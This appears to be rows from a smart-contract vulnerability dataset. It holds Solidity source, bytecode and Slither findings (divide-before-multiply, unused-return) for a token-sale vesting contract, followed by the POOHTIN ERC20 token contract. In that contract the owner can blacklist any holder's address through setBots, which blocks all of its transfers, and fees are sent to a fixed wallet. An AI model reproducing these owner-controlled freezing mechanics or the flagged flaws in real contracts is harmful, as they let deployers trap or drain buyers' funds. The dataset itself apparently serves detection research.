_reward = _amount.mul(109).div(100);
}
} else if ( currentPhase == phaseType.sales4 ) {
if ( _amount >= 1e13 ) {
_reward = _amount.mul(102).div(100);
}
} else if ( currentPhase == phaseType.preFinish ) {
_reward = _amount;
}
if ( thisBalance < _reward ) {
_reward = 0;
}
}
function calcVesting(address _owner) public view returns(bool _success, uint256 _reward) {
vesting_s memory _vesting = vesting[_owner];
if ( _vesting.amount == 0 || block.number < _vesting.startBlock ) {
return ( true, 0 );
}
_reward = _vesting.amount.mul( block.number.sub(_vesting.startBlock) ).div( _vesting.endBlock.sub(_vesting.startBlock) );
if ( _reward > _vesting.amount ) {
_reward = _vesting.amount;
}
if ( _reward <= _vesting.claimedAmount ) {
return ( true, 0 );
}
return ( true, _reward.sub(_vesting.claimedAmount) );
}
}
|
0x60806040526004361061018a5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663055ad42e81146101945780630b5f2efd146101cd5780631e1d696a146101e557806327f3a72a1461020657806329fd50eb1461022d57806338241c161461025e5780634774027c1461028a5780636b84dfcd146102ab5780637642dc0f146102d757806377b7469214610313578063798b18fd146103285780638da5cb5b1461033d5780639d3cc18714610352578063a39a45b714610373578063a6f2ae3a1461018a578063ad5c1687146103a8578063b19f30e2146103d4578063b3490bfc146103f5578063b4d1472814610431578063b8be73ed14610446578063bd3b10461461045b578063c0ab57041461047c578063cd3f2910146104a6578063d2d7231f146104c1578063e16ba8c6146104d9578063e388c423146104ee578063e696d30314610535578063f0cecafc14610556578063f9f8bdb71461056b578063fc0c546a14610580578063fedda89c14610595575b6101926105aa565b005b3480156101a057600080fd5b506101a9610830565b604051808260088111156101b957fe5b60ff16815260200191505060405180910390f35b3480156101d957600080fd5b50610192600435610839565b3480156101f157600080fd5b50610192600160a060020a0360043516610864565b34801561021257600080fd5b5061021b6108a6565b60408051918252519081900360200190f35b34801561023957600080fd5b506102426108ac565b60408051600160a060020a039092168252519081900360200190f35b34801561026a57600080fd5b5061019260246004803582810192908201359181359182019101356108bb565b34801561029657600080fd5b50610192600160a060020a0360043516610980565b3480156102b757600080fd5b5061019260246004803582810192908201359181359182019101356109c2565b3480156102e357600080fd5b506102f8600160a060020a0360043516610a7c565b60408051921515835260208301919091528051918290030190f35b34801561031f57600080fd5b50610242610b92565b34801561033457600080fd5b5061021b610ba1565b34801561034957600080fd5b50610242610ba7565b34801561035e57600080fd5b50610192600160a060020a0360043516610bb6565b34801561037f57600080fd5b50610394600160a060020a0360043516610bf8565b604080519115158252519081900360200190f35b3480156103b457600080fd5b506101926024600480358281019290820135918135918201910135610c3f565b3480156103e057600080fd5b50610192600160a060020a0360043516610ec2565b34801561040157600080fd5b50610416600160a060020a0360043516610f04565b60408051921515835290151560208301528051918290030190f35b34801561043d57600080fd5b50610242610f77565b34801561045257600080fd5b50610242610f86565b34801561046757600080fd5b50610394600160a060020a0360043516610f95565b34801561048857600080fd5b50610192600160a060020a0360043516602435604435606435610faa565b3480156104b257600080fd5b5061019260ff60043516611162565b3480156104cd57600080fd5b506102f8600435611196565b3480156104e557600080fd5b5061021b611482565b3480156104fa57600080fd5b5061050f600160a060020a0360043516611488565b604080519485526020850193909352838301919091526060830152519081900360800190f35b34801561054157600080fd5b50610394600160a060020a03600435166114b1565b34801561056257600080fd5b5061021b6114c6565b34801561057757600080fd5b5061021b6114cc565b34801561058c57600080fd5b506102426114d2565b3480156105a157600080fd5b506101926114e1565b600080600260045460ff1660088111156105c057fe5b14806105dc5750600360045460ff1660088111156105da57fe5b145b806105f657506004805460ff1660088111156105f457fe5b145b806106115750600560045460ff16600881111561060f57fe5b145b8061062c5750600660045460ff16600881111561062a57fe5b145b806106475750600760045460ff16600881111561064557fe5b145b151561065257600080fd5b3360009081526001602052604090205460ff16151561067057600080fd5b61067934611196565b9250905060008211801561068a5750805b151561069557600080fd5b6009546106a8908363ffffffff6115ec16565b60095560008054604051600160a060020a03909116913480156108fc02929091818181858888f1935050505015156106df57600080fd5b600160045460ff1660088111156106f257fe5b14156107135760075461070b908363ffffffff6115ec16565b600755610743565b600260045460ff16600881111561072657fe5b14156107435760085461073f908363ffffffff6115ec16565b6008555b600e54604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152602481018590529051600160a060020a039092169163a9059cbb916044808201926020929091908290030181600087803b1580156107b057600080fd5b505af11580156107c4573d6000803e3d6000fd5b505050506040513d60208110156107da57600080fd5b505115156107e757600080fd5b6040805133808252602082015234818301526060810184905290517f1c666f25da5e0f0004d29c8379bbc578b86f1c02a976db337e1abafb291e09db9181900360800190a15050565b60045460ff1681565b600c54600160a060020a0316331461085057600080fd5b60065481101561085f57600080fd5b600555565b61086c6115ff565b151561087757600080fd5b600d805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60095481565b600d54600160a060020a031681565b600b54600090600160a060020a031633146108d557600080fd5b5060005b8381101561092b5760018060008787858181106108f257fe5b60209081029290920135600160a060020a0316835250810191909152604001600020805460ff19169115159190911790556001016108d9565b5060005b81811015610979576001600084848481811061094757fe5b60209081029290920135600160a060020a0316835250810191909152604001600020805460ff1916905560010161092f565b5050505050565b6109886115ff565b151561099357600080fd5b600a805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60006109cc6115ff565b15156109d757600080fd5b5060005b83811015610a2e576001600260008787858181106109f557fe5b60209081029290920135600160a060020a0316835250810191909152604001600020805460ff19169115159190911790556001016109db565b5060005b818110156109795760026000848484818110610a4a57fe5b60209081029290920135600160a060020a0316835250810191909152604001600020805460ff19169055600101610a32565b600080610a87611654565b50600160a060020a038316600090815260036020818152604092839020835160808101855281548082526001830154938201939093526002820154948101949094529091015460608301521580610ae15750806020015143105b15610af3576001925060009150610b8c565b610b45610b11826020015183604001516115ec90919063ffffffff16565b610b39610b2b8460200151436115ec90919063ffffffff16565b84519063ffffffff61161016565b9063ffffffff61163216565b8151909250821115610b5657805191505b60608101518211610b6e576001925060009150610b8c565b6001610b878260600151846115ec90919063ffffffff16565b925092505b50915091565b600b54600160a060020a031681565b60065481565b600054600160a060020a031681565b610bbe6115ff565b1515610bc957600080fd5b600c805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000610c026115ff565b1515610c0d57600080fd5b5060008054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b600a546000908190600160a060020a03163314610c5b57600080fd5b600060045460ff166008811115610c6e57fe5b14158015610c8d5750600860045460ff166008811115610c8a57fe5b14155b1515610c9857600080fd5b848314610ca457600080fd5b600091505b82821015610d6d57610cd6848484818110610cc057fe5b905060200201358261164790919063ffffffff16565b90507f1c666f25da5e0f0004d29c8379bbc578b86f1c02a976db337e1abafb291e09db33878785818110610d0657fe5b90506020020135600160a060020a031660008787878181101515610d2657fe5b60408051600160a060020a039788168152959096166020868101919091528587019490945292909202013560608301525090519081900360800190a1600190910190610ca9565b600954610d80908263ffffffff6115ec16565b600955600160045460ff166008811115610d9657fe5b1415610db757600754610daf908263ffffffff6115ec16565b600755610de7565b600260045460ff166008811115610dca57fe5b1415610de757600854610de3908263ffffffff6115ec16565b6008555b600e54604080517f153a1f3e0000000000000000000000000000000000000000000000000000000081526004810191825260448101889052600160a060020a039092169163153a1f3e9189918991899189919081906024810190606401876020880280828437909101848103835285815260209081019150869086028082843782019150509650505050505050602060405180830381600087803b158015610e8e57600080fd5b505af1158015610ea2573d6000803e3d6000fd5b505050506040513d6020811015610eb857600080fd5b5050505050505050565b610eca6115ff565b1515610ed557600080fd5b600b805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000806001600160a060020a038416301480610f385750600160a060020a03841660009081526002602052604090205460ff165b80610f535750600760045460ff166008811115610f5157fe5b145b80610f6e5750600860045460ff166008811115610f6c57fe5b145b91509150915091565b600c54600160a060020a031681565b600a54600160a060020a031681565b60016020526000908152604090205460ff1681565b610fb26115ff565b1515610fbd57600080fd5b600160a060020a0384161515610fd257600080fd5b600160a060020a038416600090815260036020819052604090912090810154905461101691611007919063ffffffff6115ec16565b6009549063ffffffff61164716565b60095582151561109a57600160a060020a03841660008181526003602081815260408084208481556001810185905560028101859055909201839055815193845283018290528281018290526060830191909152517f6996742dd29561761528aef6d23079a6f4b6d660c9e5d7ac0f44f915849dae3a9181900360800190a161115c565b8181116110a657600080fd5b604080516080810182528481526020808201858152828401858152600060608501818152600160a060020a038b16825260039485905295902093518455905160018401555160028301559151910155600954611108908463ffffffff6115ec16565b60095560408051600160a060020a0386168152602081018590528082018490526060810183905290517f6996742dd29561761528aef6d23079a6f4b6d660c9e5d7ac0f44f915849dae3a9181900360800190a15b50505050565b61116a6115ff565b151561117557600080fd5b6004805482919060ff1916600183600881111561118e57fe5b021790555050565b600554600190600090819015806111ab575083155b156111b557610b8c565b6111f5600654610b39670de0b6b3a7640000610b396005546111e960646111e96305f5e1008d61161090919063ffffffff16565b9063ffffffff61161016565b905080151561120357610b8c565b600160045460ff16600881111561121657fe5b14156112af5765e35fa931a00081106112465761123f6064610b3983608e63ffffffff61161016565b915061128f565b655af3107a400081106112695761123f6064610b3983608963ffffffff61161016565b6512309ce54000811061128f5761128c6064610b3983608563ffffffff61161016565b91505b6000821180156112a0575081600754105b156112aa57600091505b61146e565b600260045460ff1660088111156112c257fe5b141561135b57660470de4df8200081106112f3576112ec6064610b3983608163ffffffff61161016565b915061133d565b66038d7ea4c680008110611317576112ec6064610b3983607c63ffffffff61161016565b655af3107a4000811061133d5761133a6064610b3983607963ffffffff61161016565b91505b6000821180156112a057508160085410156112aa576000915061146e565b600360045460ff16600881111561136e57fe5b141561139e576509184e72a00081106112aa576113976064610b3983607563ffffffff61161016565b915061146e565b6004805460ff1660088111156113b057fe5b14156113d9576509184e72a00081106112aa576113976064610b3983607063ffffffff61161016565b600560045460ff1660088111156113ec57fe5b1415611415576509184e72a00081106112aa576113976064610b3983606d63ffffffff61161016565b600660045460ff16600881111561142857fe5b1415611451576509184e72a00081106112aa576113976064610b3983606663ffffffff61161016565b600760045460ff16600881111561146457fe5b141561146e578091505b816009541015610b8c576000915050915091565b60075481565b600360208190526000918252604090912080546001820154600283015492909301549092919084565b60026020526000908152604090205460ff1681565b60085481565b60055481565b600e54600160a060020a031681565b6000806114ed33610a7c565b925090508080156114fe5750600082115b151561150957600080fd5b336000908152600360208190526040909120015461152d908363ffffffff61164716565b33600081815260036020818152604080842090920194909455600e5481517fa9059cbb0000000000000000000000000000000000000000000000000000000081526004810194909452602484018790529051600160a060020a039091169363a9059cbb93604480820194929392918390030190829087803b1580156115b157600080fd5b505af11580156115c5573d6000803e3d6000fd5b505050506040513d60208110156115db57600080fd5b505115156115e857600080fd5b5050565b808203828111156115f957fe5b92915050565b600054600160a060020a0316331490565b81810280158061162a575081838281151561162757fe5b04145b15156115f957fe5b6000818381151561163f57fe5b049392505050565b818101828110156115f957fe5b6080604051908101604052806000815260200160008152602001600081526020016000815250905600a165627a7a72305820432785051b065b653a79c1a8958aa8bb0bf92be637c2c0ac86d00fbf602156410029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 2,652 |
0x727a7e0474766cacb59115363596f351cd965e78
|
/**
*Submitted for verification at Etherscan.io on 2022-02-18
*/
/*
Official website: https://poohtin.net/
TG: https://t.me/poohtintoken
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract POOHTIN is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "PoohTin";
string private constant _symbol = "POOHTIN";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x8f65582f9389d8A105FA269d24cf6D3410eE78Be);
_buyTax = 11;
_sellTax = 11;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
require(amount <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 25_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 25_000_000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 11) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 11) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610346578063c3c8cd8014610366578063c9567bf91461037b578063dbe8272c14610390578063dc1052e2146103b0578063dd62ed3e146103d057600080fd5b8063715018a6146102a45780638da5cb5b146102b957806395d89b41146102e15780639e78fb4f14610311578063a9059cbb1461032657600080fd5b806323b872dd116100f257806323b872dd14610213578063273123b714610233578063313ce567146102535780636fc3eaec1461026f57806370a082311461028457600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b31461019e57806318160ddd146101ce5780631bbae6e0146101f357600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a61015536600461164b565b610416565b005b34801561016857600080fd5b506040805180820190915260078152662837b7b42a34b760c91b60208201525b6040516101959190611668565b60405180910390f35b3480156101aa57600080fd5b506101be6101b93660046116e2565b610467565b6040519015158152602001610195565b3480156101da57600080fd5b50670de0b6b3a76400005b604051908152602001610195565b3480156101ff57600080fd5b5061015a61020e36600461170e565b61047e565b34801561021f57600080fd5b506101be61022e366004611727565b6104c0565b34801561023f57600080fd5b5061015a61024e366004611768565b610529565b34801561025f57600080fd5b5060405160098152602001610195565b34801561027b57600080fd5b5061015a610574565b34801561029057600080fd5b506101e561029f366004611768565b6105a8565b3480156102b057600080fd5b5061015a6105ca565b3480156102c557600080fd5b506000546040516001600160a01b039091168152602001610195565b3480156102ed57600080fd5b506040805180820190915260078152662827a7a42a24a760c91b6020820152610188565b34801561031d57600080fd5b5061015a61063e565b34801561033257600080fd5b506101be6103413660046116e2565b610850565b34801561035257600080fd5b5061015a61036136600461179b565b61085d565b34801561037257600080fd5b5061015a6108f3565b34801561038757600080fd5b5061015a610933565b34801561039c57600080fd5b5061015a6103ab36600461170e565b610adb565b3480156103bc57600080fd5b5061015a6103cb36600461170e565b610b13565b3480156103dc57600080fd5b506101e56103eb366004611860565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104495760405162461bcd60e51b815260040161044090611899565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610474338484610b4b565b5060015b92915050565b6000546001600160a01b031633146104a85760405162461bcd60e51b815260040161044090611899565b6658d15e176280008111156104bd5760108190555b50565b60006104cd848484610c6f565b61051f843361051a85604051806060016040528060288152602001611a5f602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f66565b610b4b565b5060019392505050565b6000546001600160a01b031633146105535760405162461bcd60e51b815260040161044090611899565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461059e5760405162461bcd60e51b815260040161044090611899565b476104bd81610fa0565b6001600160a01b03811660009081526002602052604081205461047890610fda565b6000546001600160a01b031633146105f45760405162461bcd60e51b815260040161044090611899565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106685760405162461bcd60e51b815260040161044090611899565b600f54600160a01b900460ff16156106c25760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610440565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610727573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074b91906118ce565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610798573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107bc91906118ce565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610809573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082d91906118ce565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610474338484610c6f565b6000546001600160a01b031633146108875760405162461bcd60e51b815260040161044090611899565b60005b81518110156108ef576001600660008484815181106108ab576108ab6118eb565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108e781611917565b91505061088a565b5050565b6000546001600160a01b0316331461091d5760405162461bcd60e51b815260040161044090611899565b6000610928306105a8565b90506104bd8161105e565b6000546001600160a01b0316331461095d5760405162461bcd60e51b815260040161044090611899565b600e5461097d9030906001600160a01b0316670de0b6b3a7640000610b4b565b600e546001600160a01b031663f305d7194730610999816105a8565b6000806109ae6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a16573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a3b9190611932565b5050600f80546658d15e1762800060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610ab7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104bd9190611960565b6000546001600160a01b03163314610b055760405162461bcd60e51b815260040161044090611899565b600b8110156104bd57600b55565b6000546001600160a01b03163314610b3d5760405162461bcd60e51b815260040161044090611899565b600b8110156104bd57600c55565b6001600160a01b038316610bad5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610440565b6001600160a01b038216610c0e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610440565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610440565b6001600160a01b038216610d355760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610440565b60008111610d975760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610440565b6001600160a01b03831660009081526006602052604090205460ff1615610dbd57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610dff57506001600160a01b03821660009081526005602052604090205460ff16155b15610f56576000600955600c54600a55600f546001600160a01b038481169116148015610e3a5750600e546001600160a01b03838116911614155b8015610e5f57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e745750600f54600160b81b900460ff165b15610e8857601054811115610e8857600080fd5b600f546001600160a01b038381169116148015610eb35750600e546001600160a01b03848116911614155b8015610ed857506001600160a01b03831660009081526005602052604090205460ff16155b15610ee9576000600955600b54600a555b6000610ef4306105a8565b600f54909150600160a81b900460ff16158015610f1f5750600f546001600160a01b03858116911614155b8015610f345750600f54600160b01b900460ff165b15610f5457610f428161105e565b478015610f5257610f5247610fa0565b505b505b610f618383836111d8565b505050565b60008184841115610f8a5760405162461bcd60e51b81526004016104409190611668565b506000610f97848661197d565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108ef573d6000803e3d6000fd5b60006007548211156110415760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610440565b600061104b6111e3565b90506110578382611206565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110a6576110a66118eb565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061112391906118ce565b81600181518110611136576111366118eb565b6001600160a01b039283166020918202929092010152600e5461115c9130911684610b4b565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611195908590600090869030904290600401611994565b600060405180830381600087803b1580156111af57600080fd5b505af11580156111c3573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f61838383611248565b60008060006111f061133f565b90925090506111ff8282611206565b9250505090565b60006110578383604051806040016